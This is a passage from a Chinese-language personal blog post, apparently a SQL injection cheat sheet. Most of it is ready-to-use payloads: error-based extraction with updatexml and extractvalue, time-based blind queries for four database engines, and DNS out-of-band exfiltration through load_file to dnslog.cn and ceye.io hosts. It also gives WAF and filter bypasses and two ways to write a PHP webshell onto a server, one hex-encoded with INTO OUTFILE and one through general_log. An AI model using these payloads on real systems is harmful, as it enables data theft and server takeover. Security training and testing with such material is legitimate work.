    group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

  2. Xpath报错

    条件:Mysql>5.1.5

    1
    2
    3
    4
    5
    6
    7
    8
    9
    //updatexml():对xml进行查询和修改
    id=1' and updatexml(1,concat(0x26,(version()),0x26),1)--+
    id=1' and updatexml(1,concat(0x3a,(select username from security.users limit 1)), 1)--+
    //extractvalue():对xml进行查询和修改
    id=1' and (extractvalue(1,concat(0x26,(version()),0x26)))--+

    1' and updatexml(0,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0)-- -
    1' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name='users'),1)-- -
    1' and extractvalue(0,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'))-- -

    报错注入只能爆出32位,结合substring爆出64位flag

  3. 整数溢出报错

    exp(x):计算e的x次方,需要Mysql>5.5.5

    原理:Exp()超过710会产生溢出。

    Payload:

    1
    id=1' and (EXP(~(select * from(select version())a)))--+ //未试验成功

二、无回显

1. 基于时间

  • 延迟函数
  1. Mssql:

    waitfor {DELAY ‘time’ | TIME ‘time’}, time格式为“时:分:秒”。(无sleep函数)

    1
    id=1' waitfor delay '0:0:5';--+
  2. Mysql:

    BENCHMARK将一个表达式执行许多次:

    1
    id=1' and(SELECT BENCHMARK(10000000,ENCODE('hello','mom'))) and 1=1--+ //BENCHMARK(count, express)

    sleep()函数:

    1
    2
    3
    id=1' and(select sleep(5)) and 1=1--+
    1' and if(LENGTH(DATABASE())=13,SLEEP(1),0);
    1' and if(ord(SUBSTRING(user(),1,1))=114,SLEEP(1),0);
  3. Postgresql

    最新版本的PostgreSQL数据库(8.2及以上版本)中,可以使用pg_sleep函数来引起延迟:id=1' and SELECT pg_sleep(10);--+

  4. Oracle:

    DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。

    1
    id=1' or 1=dbms_pipe.receive_message('RDS', 10)--+ //

2. 基于bool

3. DNSLOG带外

mysql的secure_file_priv为空的时候可以使用,版本基本在5.5.53之前。(经测试,5.5.2也不能成功带外)

1
2
select load_file("////test.hcg10m.dnslog.cn//a.txt");
select load_file(concat("////", version(), ".8em7js.ceye.io//a.txt"));

0x02 如何区分后端数据库

1. 看报错

1
2
3
4
5
6
7
8
9
Oracle:
ORA-00933: SQL command not properly ended

MS SQL Server:
Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string

PostgreSQL:
Query failed: ERROR: syntax error at or near "'" at character 56 in /www/site/test.php on line 121.

2. 通过各个数据库特有的数据表和环境变量来判断

  • Oracle:

    1
    id=1 and (select count(*) from sys.user_tables)>0 and 1=1
  • Mssql

    • 特有的系统表

    sysdatabases: 存储了所有的数据库,sysobjects存储了所有的数据库表。select * from master.dbo.sysdatabases就可以查询出所有的库名。

    Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。

    1
    id=1 and (select count(*) from )>0 and 1=1

    syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:

    • 系统变量

    SQL-SERVER有user,db_name(),@@VERSION等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。(无version()函数)

    1
    2
    3
    abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名

    abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
  • Mysql:

    1
    id=1' and (select count(*) from information_schema.TABLES)>0 and 1=1--+

3. 通过各数据库特有的连接符判断数据库类型

  1. mssql数据库

    1
    http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
  2. mysql数据库

    1
    2
    http://127.0.0.1/test.php?id=1 and '1' + '1' = '2'
    http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'
  3. oracle数据库

    1
    2
    http://127.0.0.1/test.php?id=1 and '1'||'1'='11'
    http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

0x03 注入位置

1
select * from tables where id=[子查询] order by [子查询, PROCEDURE ANALYSE] limit [PROCEDURE ANALYSE, INTO...LINES TERMINATED BY]

1. limit注入

1
2
<?php
$sql = "SELECT id FROM test WHERE id > 0 ORDER BY id LIMIT ".$_GET['num'];

limit注入分有无order by. 若无order by可以使用union select,存在order by可以使用procedure analyse()报错注入和into outfile '' lines terminated by写文件。

1
?num=1 into outfile 'D:\\phpstudy_pro\\WWW\\test123.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E

procedure analysis此方法只适用于小于5.6.6的5.x系列。into 需要有file权限

2. order by注入

1
2
<?php
$sql = "select * from test order by ".$_GET['order'];

order by后可直接跟子查询

1
2
3
order=updatexml(1,concat(0x3a,user(),0x3a),1)
order=updatexml(1,concat(0x3a,(select id from test limit 1),0x3a),1)
extractvalue(1,concat(0x3a,user(),0x3a))

3. 表名注入

show columns from $tableshow的语法如下。

1
2
SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name]
[LIKE 'pattern' | WHERE expr]

后面可以直接跟where子查询:SHOW COLUMNS FROM test WHERE UPDATEXML(1,user(),1);

还有describe $table, update $table等。

0x04 绕过

1. 替换逗号

  1. substring from…for

    1
    select ascii(mid(user(),1,2)) -> select ascii(substring(user() from 1 for 1))
  2. like 'a%' 成功再测试 like 'aa%'、 like 'ab%' … like 'az%' 直到第二个字符正确,再测试第三个。

  3. select user() regexp '^a'

2. 符号替换

image

3. sqlmap tamper

过waf tamper相关

与burp联合,sqlmap4burp,gason,sqlipy

0x05 getshell

1. 注入写shell

mysql的secure_file_priv参数限制了的导入导出的文件权限,只能将文件导入或导出到指定位置(一般不能导出到web目录)。

这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。

show variables like ‘%secure%’. 其中当参数 secure_file_priv 为空时,对导入导出无限制

当值为一个指定的目录时,只能向指定的目录导入导出

当值被设置为NULL时,禁止导入导出功能

1
2
3
4
5
mysql> select '<?phpinfo();?>' into dumpfile 'D:\\test.php';
Query OK, 1 row affected (0.00 sec)

注入payload:
id=1' union select 1,'123' into dumpfile 'D:/xxx/xxx/shell.php'-- -
  • dumpfile/outfile/load_file区别参考:dumpfile/outfile/load_file

2. 日志写shell

general_log

1
2
3
4
5
set global general_log='on';

SET global general_log_file='E:/UPUPW_AP5.6-1510/UPUPW_AP5.6/htdocs/classes.php';

SELECT '<?php assert($_POST["cmd"]);?>';
<i class="fa fa-angle-left"></i>12

17 日志
6 分类
16 标签
© 2021 欣海余诚
本站总访问量次 | 本站访客数人